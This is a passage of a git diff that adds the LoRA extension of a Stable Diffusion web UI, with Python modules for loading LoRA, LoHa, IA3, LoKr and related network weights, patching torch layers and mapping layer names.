b/extensions-builtin/Lora/__pycache__/preload.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/ui_edit_user_metadata.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/ui_edit_user_metadata.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..af765f74e306d60fdcd39d849c419f127963340c Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/ui_edit_user_metadata.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/ui_extra_networks_lora.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/ui_extra_networks_lora.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..2471852502d22e867264b890987f3771f5cf4826 Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/ui_extra_networks_lora.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/extra_networks_lora.py b/extensions-builtin/Lora/extra_networks_lora.py new file mode 100644 index 0000000000000000000000000000000000000000..88425009c7150f303b10bec8a42a3aa7a8c4ff93 --- /dev/null +++ b/extensions-builtin/Lora/extra_networks_lora.py @@ -0,0 +1,67 @@ +from modules import extra_networks, shared +import networks + + +class ExtraNetworkLora(extra_networks.ExtraNetwork): + def __init__(self): + super().__init__('lora') + + self.errors = {} + """mapping of network names to the number of errors the network had during operation""" + + def activate(self, p, params_list): + additional = shared.opts.sd_lora + + self.errors.clear() + + if additional != "None" and additional in networks.available_networks and not any(x for x in params_list if x.items[0] == additional): + p.all_prompts = [x + f"" for x in p.all_prompts] + params_list.append(extra_networks.ExtraNetworkParams(items=[additional, shared.opts.extra_networks_default_multiplier])) + + names = [] + te_multipliers = [] + unet_multipliers = [] + dyn_dims = [] + for params in params_list: + assert params.items + + names.append(params.positional[0]) + + te_multiplier = float(params.positional[1]) if len(params.positional) > 1 else 1.0 + te_multiplier = float(params.named.get("te", te_multiplier)) + + unet_multiplier = float(params.positional[2]) if len(params.positional) > 2 else te_multiplier + unet_multiplier = float(params.named.get("unet", unet_multiplier)) + + dyn_dim = int(params.positional[3]) if len(params.positional) > 3 else None + dyn_dim = int(params.named["dyn"]) if "dyn" in params.named else dyn_dim + + te_multipliers.append(te_multiplier) + unet_multipliers.append(unet_multiplier) + dyn_dims.append(dyn_dim) + + networks.load_networks(names, te_multipliers, unet_multipliers, dyn_dims) + + if shared.opts.lora_add_hashes_to_infotext: + network_hashes = [] + for item in networks.loaded_networks: + shorthash = item.network_on_disk.shorthash + if not shorthash: + continue + + alias = item.mentioned_name + if not alias: + continue + + alias = alias.replace(":", "").replace(",", "") + + network_hashes.append(f"{alias}: {shorthash}") + + if network_hashes: + p.extra_generation_params["Lora hashes"] = ", ".join(network_hashes) + + def deactivate(self, p): + if self.errors: + p.comment("Networks with errors: " + ", ".join(f"{k} ({v})" for k, v in self.errors.items())) + + self.errors.clear() diff --git a/extensions-builtin/Lora/lora.py b/extensions-builtin/Lora/lora.py new file mode 100644 index 0000000000000000000000000000000000000000..6186538e956e39c843a2a22a77c5ab53fdfec3c7 --- /dev/null +++ b/extensions-builtin/Lora/lora.py @@ -0,0 +1,9 @@ +import networks + +list_available_loras = networks.list_available_networks + +available_loras = networks.available_networks +available_lora_aliases = networks.available_network_aliases +available_lora_hash_lookup = networks.available_network_hash_lookup +forbidden_lora_aliases = networks.forbidden_network_aliases +loaded_loras = networks.loaded_networks diff --git a/extensions-builtin/Lora/lora_patches.py b/extensions-builtin/Lora/lora_patches.py new file mode 100644 index 0000000000000000000000000000000000000000..59859e6f94f434a032c2c07f040bceb79fcd1dc2 --- /dev/null +++ b/extensions-builtin/Lora/lora_patches.py @@ -0,0 +1,31 @@ +import torch + +import networks +from modules import patches + + +class LoraPatches: + def __init__(self): + self.Linear_forward = patches.patch(__name__, torch.nn.Linear, 'forward', networks.network_Linear_forward) + self.Linear_load_state_dict = patches.patch(__name__, torch.nn.Linear, '_load_from_state_dict', networks.network_Linear_load_state_dict) + self.Conv2d_forward = patches.patch(__name__, torch.nn.Conv2d, 'forward', networks.network_Conv2d_forward) + self.Conv2d_load_state_dict = patches.patch(__name__, torch.nn.Conv2d, '_load_from_state_dict', networks.network_Conv2d_load_state_dict) + self.GroupNorm_forward = patches.patch(__name__, torch.nn.GroupNorm, 'forward', networks.network_GroupNorm_forward) + self.GroupNorm_load_state_dict = patches.patch(__name__, torch.nn.GroupNorm, '_load_from_state_dict', networks.network_GroupNorm_load_state_dict) + self.LayerNorm_forward = patches.patch(__name__, torch.nn.LayerNorm, 'forward', networks.network_LayerNorm_forward) + self.LayerNorm_load_state_dict = patches.patch(__name__, torch.nn.LayerNorm, '_load_from_state_dict', networks.network_LayerNorm_load_state_dict) + self.MultiheadAttention_forward = patches.patch(__name__, torch.nn.MultiheadAttention, 'forward', networks.network_MultiheadAttention_forward) + self.MultiheadAttention_load_state_dict = patches.patch(__name__, torch.nn.MultiheadAttention, '_load_from_state_dict', networks.network_MultiheadAttention_load_state_dict) + + def undo(self): + self.Linear_forward = patches.undo(__name__, torch.nn.Linear, 'forward') + self.Linear_load_state_dict = patches.undo(__name__, torch.nn.Linear, '_load_from_state_dict') + self.Conv2d_forward = patches.undo(__name__, torch.nn.Conv2d, 'forward') + self.Conv2d_load_state_dict = patches.undo(__name__, torch.nn.Conv2d, '_load_from_state_dict') + self.GroupNorm_forward = patches.undo(__name__, torch.nn.GroupNorm, 'forward') + self.GroupNorm_load_state_dict = patches.undo(__name__, torch.nn.GroupNorm, '_load_from_state_dict') + self.LayerNorm_forward = patches.undo(__name__, torch.nn.LayerNorm, 'forward') + self.LayerNorm_load_state_dict = patches.undo(__name__, torch.nn.LayerNorm, '_load_from_state_dict') + self.MultiheadAttention_forward = patches.undo(__name__, torch.nn.MultiheadAttention, 'forward') + self.MultiheadAttention_load_state_dict = patches.undo(__name__, torch.nn.MultiheadAttention, '_load_from_state_dict') + diff --git a/extensions-builtin/Lora/lyco_helpers.py b/extensions-builtin/Lora/lyco_helpers.py new file mode 100644 index 0000000000000000000000000000000000000000..f2f42e83a0188cc8650ea79def7f95df0e9bac34 --- /dev/null +++ b/extensions-builtin/Lora/lyco_helpers.py @@ -0,0 +1,21 @@ +import torch + + +def make_weight_cp(t, wa, wb): + temp = torch.einsum('i j k l, j r -> i r k l', t, wb) + return torch.einsum('i j k l, i r -> r j k l', temp, wa) + + +def rebuild_conventional(up, down, shape, dyn_dim=None): + up = up.reshape(up.size(0), -1) + down = down.reshape(down.size(0), -1) + if dyn_dim is not None: + up = up[:, :dyn_dim] + down = down[:dyn_dim, :] + return (up @ down).reshape(shape) + + +def rebuild_cp_decomposition(up, down, mid): + up = up.reshape(up.size(0), -1) + down = down.reshape(down.size(0), -1) + return torch.einsum('n m k l, i n, m j -> i j k l', mid, up, down) diff --git a/extensions-builtin/Lora/network.py b/extensions-builtin/Lora/network.py new file mode 100644 index 0000000000000000000000000000000000000000..a5b60e6f613f4df705b0288b2b5f9b09ef3cfed1 --- /dev/null +++ b/extensions-builtin/Lora/network.py @@ -0,0 +1,158 @@ +from __future__ import annotations +import os +from collections import namedtuple +import enum + +from modules import sd_models, cache, errors, hashes, shared + +NetworkWeights = namedtuple('NetworkWeights', ['network_key', 'sd_key', 'w', 'sd_module']) + +metadata_tags_order = {"ss_sd_model_name": 1, "ss_resolution": 2, "ss_clip_skip": 3, "ss_num_train_images": 10, "ss_tag_frequency": 20} + + +class SdVersion(enum.Enum): + Unknown = 1 + SD1 = 2 + SD2 = 3 + SDXL = 4 + + +class NetworkOnDisk: + def __init__(self, name, filename): + self.name = name + self.filename = filename + self.metadata = {} + self.is_safetensors = os.path.splitext(filename)[1].lower() == ".safetensors" + + def read_metadata(): + metadata = sd_models.read_metadata_from_safetensors(filename) + metadata.pop('ssmd_cover_images', None) # those are cover images, and they are too big to display in UI as text + + return metadata + + if self.is_safetensors: + try: + self.metadata = cache.cached_data_for_file('safetensors-metadata', "lora/" + self.name, filename, read_metadata) + except Exception as e: + errors.display(e, f"reading lora {filename}") + + if self.metadata: + m = {} + for k, v in sorted(self.metadata.items(), key=lambda x: metadata_tags_order.get(x[0], 999)): + m[k] = v + + self.metadata = m + + self.alias = self.metadata.get('ss_output_name', self.name) + + self.hash = None + self.shorthash = None + self.set_hash( + self.metadata.get('sshs_model_hash') or + hashes.sha256_from_cache(self.filename, "lora/" + self.name, use_addnet_hash=self.is_safetensors) or + '' + ) + + self.sd_version = self.detect_version() + + def detect_version(self): + if str(self.metadata.get('ss_base_model_version', "")).startswith("sdxl_"): + return SdVersion.SDXL + elif str(self.metadata.get('ss_v2', "")) == "True": + return SdVersion.SD2 + elif len(self.metadata): + return SdVersion.SD1 + + return SdVersion.Unknown + + def set_hash(self, v): + self.hash = v + self.shorthash = self.hash[0:12] + + if self.shorthash: + import networks + networks.available_network_hash_lookup[self.shorthash] = self + + def read_hash(self): + if not self.hash: + self.set_hash(hashes.sha256(self.filename, "lora/" + self.name, use_addnet_hash=self.is_safetensors) or '') + + def get_alias(self): + import networks + if shared.opts.lora_preferred_name == "Filename" or self.alias.lower() in networks.forbidden_network_aliases: + return self.name + else: + return self.alias + + +class Network: # LoraModule + def __init__(self, name, network_on_disk: NetworkOnDisk): + self.name = name + self.network_on_disk = network_on_disk + self.te_multiplier = 1.0 + self.unet_multiplier = 1.0 + self.dyn_dim = None + self.modules = {} + self.mtime = None + + self.mentioned_name = None + """the text that was used to add the network to prompt - can be either name or an alias""" + + +class ModuleType: + def create_module(self, net: Network, weights: NetworkWeights) -> Network | None: + return None + + +class NetworkModule: + def __init__(self, net: Network, weights: NetworkWeights): + self.network = net + self.network_key = weights.network_key + self.sd_key = weights.sd_key + self.sd_module = weights.sd_module + + if hasattr(self.sd_module, 'weight'): + self.shape = self.sd_module.weight.shape + + self.dim = None + self.bias = weights.w.get("bias") + self.alpha = weights.w["alpha"].item() if "alpha" in weights.w else None + self.scale = weights.w["scale"].item() if "scale" in weights.w else None + + def multiplier(self): + if 'transformer' in self.sd_key[:20]: + return self.network.te_multiplier + else: + return self.network.unet_multiplier + + def calc_scale(self): + if self.scale is not None: + return self.scale + if self.dim is not None and self.alpha is not None: + return self.alpha / self.dim + + return 1.0 + + def finalize_updown(self, updown, orig_weight, output_shape, ex_bias=None): + if self.bias is not None: + updown = updown.reshape(self.bias.shape) + updown += self.bias.to(orig_weight.device, dtype=orig_weight.dtype) + updown = updown.reshape(output_shape) + + if len(output_shape) == 4: + updown = updown.reshape(output_shape) + + if orig_weight.size().numel() == updown.size().numel(): + updown = updown.reshape(orig_weight.shape) + + if ex_bias is not None: + ex_bias = ex_bias * self.multiplier() + + return updown * self.calc_scale() * self.multiplier(), ex_bias + + def calc_updown(self, target): + raise NotImplementedError() + + def forward(self, x, y): + raise NotImplementedError() + diff --git a/extensions-builtin/Lora/network_full.py b/extensions-builtin/Lora/network_full.py new file mode 100644 index 0000000000000000000000000000000000000000..545e254e0c675c8b81668cbd234d41edaba524e7 --- /dev/null +++ b/extensions-builtin/Lora/network_full.py @@ -0,0 +1,27 @@ +import network + + +class ModuleTypeFull(network.ModuleType): + def create_module(self, net: network.Network, weights: network.NetworkWeights): + if all(x in weights.w for x in ["diff"]): + return NetworkModuleFull(net, weights) + + return None + + +class NetworkModuleFull(network.NetworkModule): + def __init__(self, net: network.Network, weights: network.NetworkWeights): + super().__init__(net, weights) + + self.weight = weights.w.get("diff") + self.ex_bias = weights.w.get("diff_b") + + def calc_updown(self, orig_weight): + output_shape = self.weight.shape + updown = self.weight.to(orig_weight.device, dtype=orig_weight.dtype) + if self.ex_bias is not None: + ex_bias = self.ex_bias.to(orig_weight.device, dtype=orig_weight.dtype) + else: + ex_bias = None + + return self.finalize_updown(updown, orig_weight, output_shape, ex_bias) diff --git a/extensions-builtin/Lora/network_hada.py b/extensions-builtin/Lora/network_hada.py new file mode 100644 index 0000000000000000000000000000000000000000..b62e88840866f2801b5bafa657cfd9b0377054b7 --- /dev/null +++ b/extensions-builtin/Lora/network_hada.py @@ -0,0 +1,55 @@ +import lyco_helpers +import network + + +class ModuleTypeHada(network.ModuleType): + def create_module(self, net: network.Network, weights: network.NetworkWeights): + if all(x in weights.w for x in ["hada_w1_a", "hada_w1_b", "hada_w2_a", "hada_w2_b"]): + return NetworkModuleHada(net, weights) + + return None + + +class NetworkModuleHada(network.NetworkModule): + def __init__(self, net: network.Network, weights: network.NetworkWeights): + super().__init__(net, weights) + + if hasattr(self.sd_module, 'weight'): + self.shape = self.sd_module.weight.shape + + self.w1a = weights.w["hada_w1_a"] + self.w1b = weights.w["hada_w1_b"] + self.dim = self.w1b.shape[0] + self.w2a = weights.w["hada_w2_a"] + self.w2b = weights.w["hada_w2_b"] + + self.t1 = weights.w.get("hada_t1") + self.t2 = weights.w.get("hada_t2") + + def calc_updown(self, orig_weight): + w1a = self.w1a.to(orig_weight.device, dtype=orig_weight.dtype) + w1b = self.w1b.to(orig_weight.device, dtype=orig_weight.dtype) + w2a = self.w2a.to(orig_weight.device, dtype=orig_weight.dtype) + w2b = self.w2b.to(orig_weight.device, dtype=orig_weight.dtype) + + output_shape = [w1a.size(0), w1b.size(1)] + + if self.t1 is not None: + output_shape = [w1a.size(1), w1b.size(1)] + t1 = self.t1.to(orig_weight.device, dtype=orig_weight.dtype) + updown1 = lyco_helpers.make_weight_cp(t1, w1a, w1b) + output_shape += t1.shape[2:] + else: + if len(w1b.shape) == 4: + output_shape += w1b.shape[2:] + updown1 = lyco_helpers.rebuild_conventional(w1a, w1b, output_shape) + + if self.t2 is not None: + t2 = self.t2.to(orig_weight.device, dtype=orig_weight.dtype) + updown2 = lyco_helpers.make_weight_cp(t2, w2a, w2b) + else: + updown2 = lyco_helpers.rebuild_conventional(w2a, w2b, output_shape) + + updown = updown1 * updown2 + + return self.finalize_updown(updown, orig_weight, output_shape) diff --git a/extensions-builtin/Lora/network_ia3.py b/extensions-builtin/Lora/network_ia3.py new file mode 100644 index 0000000000000000000000000000000000000000..ddf5d68983c3b8d57ad3d58b293e6bc462d52159 --- /dev/null +++ b/extensions-builtin/Lora/network_ia3.py @@ -0,0 +1,30 @@ +import network + + +class ModuleTypeIa3(network.ModuleType): + def create_module(self, net: network.Network, weights: network.NetworkWeights): + if all(x in weights.w for x in ["weight"]): + return NetworkModuleIa3(net, weights) + + return None + + +class NetworkModuleIa3(network.NetworkModule): + def __init__(self, net: network.Network, weights: network.NetworkWeights): + super().__init__(net, weights) + + self.w = weights.w["weight"] + self.on_input = weights.w["on_input"].item() + + def calc_updown(self, orig_weight): + w = self.w.to(orig_weight.device, dtype=orig_weight.dtype) + + output_shape = [w.size(0), orig_weight.size(1)] + if self.on_input: + output_shape.reverse() + else: + w = w.reshape(-1, 1) + + updown = orig_weight * w + + return self.finalize_updown(updown, orig_weight, output_shape) diff --git a/extensions-builtin/Lora/network_lokr.py b/extensions-builtin/Lora/network_lokr.py new file mode 100644 index 0000000000000000000000000000000000000000..87fbafa1b406de73cc394a3a0c9068da4119b0d8 --- /dev/null +++ b/extensions-builtin/Lora/network_lokr.py @@ -0,0 +1,64 @@ +import torch + +import lyco_helpers +import network + + +class ModuleTypeLokr(network.ModuleType): + def create_module(self, net: network.Network, weights: network.NetworkWeights): + has_1 = "lokr_w1" in weights.w or ("lokr_w1_a" in weights.w and "lokr_w1_b" in weights.w) + has_2 = "lokr_w2" in weights.w or ("lokr_w2_a" in weights.w and "lokr_w2_b" in weights.w) + if has_1 and has_2: + return NetworkModuleLokr(net, weights) + + return None + + +def make_kron(orig_shape, w1, w2): + if len(w2.shape) == 4: + w1 = w1.unsqueeze(2).unsqueeze(2) + w2 = w2.contiguous() + return torch.kron(w1, w2).reshape(orig_shape) + + +class NetworkModuleLokr(network.NetworkModule): + def __init__(self, net: network.Network, weights: network.NetworkWeights): + super().__init__(net, weights) + + self.w1 = weights.w.get("lokr_w1") + self.w1a = weights.w.get("lokr_w1_a") + self.w1b = weights.w.get("lokr_w1_b") + self.dim = self.w1b.shape[0] if self.w1b is not None else self.dim + self.w2 = weights.w.get("lokr_w2") + self.w2a = weights.w.get("lokr_w2_a") + self.w2b = weights.w.get("lokr_w2_b") + self.dim = self.w2b.shape[0] if self.w2b is not None else self.dim + self.t2 = weights.w.get("lokr_t2") + + def calc_updown(self, orig_weight): + if self.w1 is not None: + w1 = self.w1.to(orig_weight.device, dtype=orig_weight.dtype) + else: + w1a = self.w1a.to(orig_weight.device, dtype=orig_weight.dtype) + w1b = self.w1b.to(orig_weight.device, dtype=orig_weight.dtype) + w1 = w1a @ w1b + + if self.w2 is not None: + w2 = self.w2.to(orig_weight.device, dtype=orig_weight.dtype) + elif self.t2 is None: + w2a = self.w2a.to(orig_weight.device, dtype=orig_weight.dtype) + w2b = self.w2b.to(orig_weight.device, dtype=orig_weight.dtype) + w2 = w2a @ w2b + else: + t2 = self.t2.to(orig_weight.device, dtype=orig_weight.dtype) + w2a = self.w2a.to(orig_weight.device, dtype=orig_weight.dtype) + w2b = self.w2b.to(orig_weight.device, dtype=orig_weight.dtype) + w2 = lyco_helpers.make_weight_cp(t2, w2a, w2b) + + output_shape = [w1.size(0) * w2.size(0), w1.size(1) * w2.size(1)] + if len(orig_weight.shape) == 4: + output_shape = orig_weight.shape + + updown = make_kron(output_shape, w1, w2) + + return self.finalize_updown(updown, orig_weight, output_shape) diff --git a/extensions-builtin/Lora/network_lora.py b/extensions-builtin/Lora/network_lora.py new file mode 100644 index 0000000000000000000000000000000000000000..cb63807a09a6883fa636822ebc01753e2cb4848f --- /dev/null +++ b/extensions-builtin/Lora/network_lora.py @@ -0,0 +1,86 @@ +import torch + +import lyco_helpers +import network +from modules import devices + + +class ModuleTypeLora(network.ModuleType): + def create_module(self, net: network.Network, weights: network.NetworkWeights): + if all(x in weights.w for x in ["lora_up.weight", "lora_down.weight"]): + return NetworkModuleLora(net, weights) + + return None + + +class NetworkModuleLora(network.NetworkModule): + def __init__(self, net: network.Network, weights: network.NetworkWeights): + super().__init__(net, weights) + + self.up_model = self.create_module(weights.w, "lora_up.weight") + self.down_model = self.create_module(weights.w, "lora_down.weight") + self.mid_model = self.create_module(weights.w, "lora_mid.weight", none_ok=True) + + self.dim = weights.w["lora_down.weight"].shape[0] + + def create_module(self, weights, key, none_ok=False): + weight = weights.get(key) + + if weight is None and none_ok: + return None + + is_linear = type(self.sd_module) in [torch.nn.Linear, torch.nn.modules.linear.NonDynamicallyQuantizableLinear, torch.nn.MultiheadAttention] + is_conv = type(self.sd_module) in [torch.nn.Conv2d] + + if is_linear: + weight = weight.reshape(weight.shape[0], -1) + module = torch.nn.Linear(weight.shape[1], weight.shape[0], bias=False) + elif is_conv and key == "lora_down.weight" or key == "dyn_up": + if len(weight.shape) == 2: + weight = weight.reshape(weight.shape[0], -1, 1, 1) + + if weight.shape[2] != 1 or weight.shape[3] != 1: + module = torch.nn.Conv2d(weight.shape[1], weight.shape[0], self.sd_module.kernel_size, self.sd_module.stride, self.sd_module.padding, bias=False) + else: + module = torch.nn.Conv2d(weight.shape[1], weight.shape[0], (1, 1), bias=False) + elif is_conv and key == "lora_mid.weight": + module = torch.nn.Conv2d(weight.shape[1], weight.shape[0], self.sd_module.kernel_size, self.sd_module.stride, self.sd_module.padding, bias=False) + elif is_conv and key == "lora_up.weight" or key == "dyn_down": + module = torch.nn.Conv2d(weight.shape[1], weight.shape[0], (1, 1), bias=False) + else: + raise AssertionError(f'Lora layer {self.network_key} matched a layer with unsupported type: {type(self.sd_module).__name__}') + + with torch.no_grad(): + if weight.shape != module.weight.shape: + weight = weight.reshape(module.weight.shape) + module.weight.copy_(weight) + + module.to(device=devices.cpu, dtype=devices.dtype) + module.weight.requires_grad_(False) + + return module + + def calc_updown(self, orig_weight): + up = self.up_model.weight.to(orig_weight.device, dtype=orig_weight.dtype) + down = self.down_model.weight.to(orig_weight.device, dtype=orig_weight.dtype) + + output_shape = [up.size(0), down.size(1)] + if self.mid_model is not None: + # cp-decomposition + mid = self.mid_model.weight.to(orig_weight.device, dtype=orig_weight.dtype) + updown = lyco_helpers.rebuild_cp_decomposition(up, down, mid) + output_shape += mid.shape[2:] + else: + if len(down.shape) == 4: + output_shape += down.shape[2:] + updown = lyco_helpers.rebuild_conventional(up, down, output_shape, self.network.dyn_dim) + + return self.finalize_updown(updown, orig_weight, output_shape) + + def forward(self, x, y): + self.up_model.to(device=devices.device) + self.down_model.to(device=devices.device) + + return y + self.up_model(self.down_model(x)) * self.multiplier() * self.calc_scale() + + diff --git a/extensions-builtin/Lora/network_norm.py b/extensions-builtin/Lora/network_norm.py new file mode 100644 index 0000000000000000000000000000000000000000..ce450158068ef85ebe11cc60756ed991465c0e54 --- /dev/null +++ b/extensions-builtin/Lora/network_norm.py @@ -0,0 +1,28 @@ +import network + + +class ModuleTypeNorm(network.ModuleType): + def create_module(self, net: network.Network, weights: network.NetworkWeights): + if all(x in weights.w for x in ["w_norm", "b_norm"]): + return NetworkModuleNorm(net, weights) + + return None + + +class NetworkModuleNorm(network.NetworkModule): + def __init__(self, net: network.Network, weights: network.NetworkWeights): + super().__init__(net, weights) + + self.w_norm = weights.w.get("w_norm") + self.b_norm = weights.w.get("b_norm") + + def calc_updown(self, orig_weight): + output_shape = self.w_norm.shape + updown = self.w_norm.to(orig_weight.device, dtype=orig_weight.dtype) + + if self.b_norm is not None: + ex_bias = self.b_norm.to(orig_weight.device, dtype=orig_weight.dtype) + else: + ex_bias = None + + return self.finalize_updown(updown, orig_weight, output_shape, ex_bias) diff --git a/extensions-builtin/Lora/networks.py b/extensions-builtin/Lora/networks.py new file mode 100644 index 0000000000000000000000000000000000000000..a5e704be91feebd7ae19c340a6ef360761785a6b --- /dev/null +++ b/extensions-builtin/Lora/networks.py @@ -0,0 +1,571 @@ +import logging +import os +import re + +import lora_patches +import network +import network_lora +import network_hada +import network_ia3 +import network_lokr +import network_full +import network_norm + +import torch +from typing import Union + +from modules import shared, devices, sd_models, errors, scripts, sd_hijack + +module_types = [ + network_lora.ModuleTypeLora(), + network_hada.ModuleTypeHada(), + network_ia3.ModuleTypeIa3(), + network_lokr.ModuleTypeLokr(), + network_full.ModuleTypeFull(), + network_norm.ModuleTypeNorm(), +] + + +re_digits = re.compile(r"\d+") +re_x_proj = re.compile(r"(.*)_([qkv]_proj)$") +re_compiled = {} + +suffix_conversion = { + "attentions": {}, + "resnets": { + "conv1": "in_layers_2", + "conv2": "out_layers_3", + "norm1": "in_layers_0", + "norm2": "out_layers_0", + "time_emb_proj": "emb_layers_1", + "conv_shortcut": "skip_connection", + } +} + + +def convert_diffusers_name_to_compvis(key, is_sd2): + def match(match_list, regex_text): + regex = re_compiled.get(regex_text) + if regex is None: + regex = re.compile(regex_text) + re_compiled[regex_text] = regex + + r = re.match(regex, key) + if not r: + return False + + match_list.clear() + match_list.extend([int(x) if re.match(re_digits, x) else x for x in r.groups()]) + return True + + m = [] + + if match(m, r"lora_unet_conv_in(.*)"): + return f'diffusion_model_input_blocks_0_0{m[0]}' + + if match(m, r"lora_unet_conv_out(.*)"): + return f'diffusion_model_out_2{m[0]}' + + if match(m, r"lora_unet_time_embedding_linear_(\d+)(.*)"): + return f"diffusion_model_time_embed_{m[0] * 2 - 2}{m[1]}" + + if match(m, r"lora_unet_down_blocks_(\d+)_(attentions|resnets)_(\d+)_(.+)"): + suffix = suffix_conversion.get(m[1], {}).get(m[3], m[3]) + return f"diffusion_model_input_blocks_{1 + m[0] * 3 + m[2]}_{1 if m[1] == 'attentions' else 0}_{suffix}" + + if match(m, r"lora_unet_mid_block_(attentions|resnets)_(\d+)_(.+)"): + suffix = suffix_conversion.get(m[0], {}).get(m[2], m[2]) + return f"diffusion_model_middle_block_{1 if m[0] == 'attentions' else m[1] * 2}_{suffix}" + + if match(m, r"lora_unet_up_blocks_(\d+)_(attentions|resnets)_(\d+)_(.+)"): + suffix = suffix_conversion.get(m[1], {}).get(m[3], m[3]) + return f"diffusion_model_output_blocks_{m[0] * 3 + m[2]}_{1 if m[1] == 'attentions' else 0}_{suffix}" + + if match(m, r"lora_unet_down_blocks_(\d+)_downsamplers_0_conv"): + return f"diffusion_model_input_blocks_{3 + m[0] * 3}_0_op" + + if match(m, r"lora_unet_up_blocks_(\d+)_upsamplers_0_conv"): + return f"diffusion_model_output_blocks_{2 + m[0] * 3}_{2 if m[0]>0 else 1}_conv" + + if match(m, r"lora_te_text_model_encoder_layers_(\d+)_(.+)"): + if is_sd2: + if 'mlp_fc1' in m[1]: + return f"model_transformer_resblocks_{m[0]}_{m[1].replace('mlp_fc1', 'mlp_c_fc')}" + elif 'mlp_fc2' in m[1]: + return f"model_transformer_resblocks_{m[0]}_{m[1].replace('mlp_fc2', 'mlp_c_proj')}" + else: + return f"model_transformer_resblocks_{m[0]}_{m[1].replace('self_attn', 'attn')}" + + return f"transformer_text_model_encoder_layers_{m[0]}_{m[1]}" + + if match(m, r"lora_te2_text_model_encoder_layers_(\d+)_(.+)"): + if 'mlp_fc1' in m[1]: + return f"1_model_transformer_resblocks_{m[0]}_{m[1].replace('mlp_fc1', 'mlp_c_fc')}" + elif 'mlp_fc2' in m[1]: + return f"1_model_transformer_resblocks_{m[0]}_{m[1].replace('mlp_fc2', 'mlp_c_proj')}" + else: + return f"1_model_transformer_resblocks_{m[0]}_{m[1].replace('self_attn', 'attn')}" + + return key + + +def assign_network_names_to_compvis_modules(sd_model): + network_layer_mapping = {} + + if shared.sd_model.is_sdxl: + for i, embedder in enumerate(shared.sd_model.conditioner.embedders): + if not hasattr(embedder, 'wrapped'): + continue + + for name, module in embedder.wrapped.named_modules(): + network_name = f'{i}_{name.replace(".", "_")}' + network_layer_mapping[network_name] = module + module.network_layer_name = network_name + else: + for name, module in shared.sd_model.cond_stage_model.wrapped.named_modules(): + network_name = name.replace(".", "_") + network_layer_mapping[network_name] = module + module.network_layer_name = network_name + + for name, module in shared.sd_model.model.named_modules(): + network_name = name.replace(".", "_") + network_layer_mapping[network_name] = module + module.network_layer_name = network_name + + sd_model.network_layer_mapping = network_layer_mapping + + +def load_network(name, network_on_disk): + net = network.Network(name, network_on_disk) + net.mtime = os.path.getmtime(network_on_disk.filename) + + sd = sd_models.read_state_dict(network_on_disk.filename) + + # this should not be needed but is here as an emergency fix for an unknown error people are experiencing in 1.2.0 + if not hasattr(shared.sd_model, 'network_layer_mapping'): + assign_network_names_to_compvis_modules(shared.sd_model) + + keys_failed_to_match = {} + is_sd2 = 'model_transformer_resblocks' in shared.sd_model.network_layer_mapping + + matched_networks = {} + + for key_network, weight in sd.items(): + key_network_without_network_parts, network_part = key_network.split(".", 1) + + key = convert_diffusers_name_to_compvis(key_network_without_network_parts, is_sd2) + sd_module = shared.sd_model.network_layer_mapping.get(key, None) + + if sd_module is None: + m = re_x_proj.match(key) + if m: + sd_module = shared.sd_model.network_layer_mapping.get(m.group(1), None) + + # SDXL loras seem to already have correct compvis keys, so only need to replace "lora_unet" with "diffusion_model" + if sd_module is None and "lora_unet" in key_network_without_network_parts: + key = key_network_without_network_parts.replace("lora_unet", "diffusion_model") + sd_module = shared.sd_model.network_layer_mapping.get(key, None) + elif sd_module is None and "lora_te1_text_model" in key_network_without_network_parts: + key = key_network_without_network_parts.replace("lora_te1_text_model", "0_transformer_text_model") + sd_module = shared.sd_model.network_layer_mapping.get(key, None) + + # some SD1 Loras also have correct compvis keys + if sd_module is None: + key = key_network_without_network_parts.replace("lora_te1_text_model", "transformer_text_model") + sd_module = shared.sd_model.network_layer_mapping.get(key, None) + + if sd_module is None: + keys_failed_to_match[key_network] = key + continue + + if key not in matched_networks: + matched_networks[key] = network.NetworkWeights(network_key=key_network, sd_key=key, w={}, sd_module=sd_module) + + matched_networks[key].w[network_part] = weight + + for key, weights in matched_networks.items(): + net_module = None + for nettype in module_types: + net_module = nettype.create_module(net, weights) + if net_module is not None: + break + + if net_module is None: + raise AssertionError(f"Could not find a module type (out of {', '.join([x.__class__.__name__ for x in module_types])}) that would accept those keys: {', '.join(weights.w)}") + + net.modules[key] = net_module + + if keys_failed_to_match: + logging.debug(f"Network {network_on_disk.filename} didn't match keys: {keys_failed_to_match}") + + return net + + +def purge_networks_from_memory(): + while len(networks_in_memory) > shared.opts.lora_in_memory_limit and len(networks_in_memory) > 0: + name = next(iter(networks_in_memory)) + networks_in_memory.pop(name, None) + + devices.torch_gc() + + +def load_networks(names, te_multipliers=None, unet_multipliers=None, dyn_dims=None): + already_loaded = {} + + for net in loaded_networks: + if net.name in names: + already_loaded[net.name] = net + + loaded_networks.clear() + + networks_on_disk = [available_network_aliases.get(name, None) for name in names] + if any(x is None for x in networks_on_disk): + list_available_networks() + + networks_on_disk = [available_network_aliases.get(name, None) for name in names] + + failed_to_load_networks = [] + + for i, (network_on_disk, name) in enumerate(zip(networks_on_disk, names)): + net = already_loaded.get(name, None) + + if network_on_disk is not None: + if net is None: + net = networks_in_memory.get(name) + + if net is None or os.path.getmtime(network_on_disk.filename) > net.mtime: + try: + net = load_network(name, network_on_disk) + + networks_in_memory.pop(name, None) + networks_in_memory[name] = net + except Exception as e: + errors.display(e, f"loading network {network_on_disk.filename}") + continue + + net.mentioned_name = name + + network_on_disk.read_hash() + + if net is None: + failed_to_load_networks.append(name) + logging.info(f"Couldn't find network with name {name}") + continue + + net.te_multiplier = te_multipliers[i] if te_multipliers else 1.0 + net.unet_multiplier = unet_multipliers[i] if unet_multipliers else 1.0 + net.dyn_dim = dyn_dims[i] if dyn_dims else 1.0 + loaded_networks.append(net) + + if failed_to_load_networks: + sd_hijack.model_hijack.comments.append("Networks not found: " + ", ".join(failed_to_load_networks)) + + purge_networks_from_memory() + + +def network_restore_weights_from_backup(self: Union[torch.nn.Conv2d, torch.nn.Linear, torch.nn.GroupNorm, torch.nn.LayerNorm, torch.nn.MultiheadAttention]): + 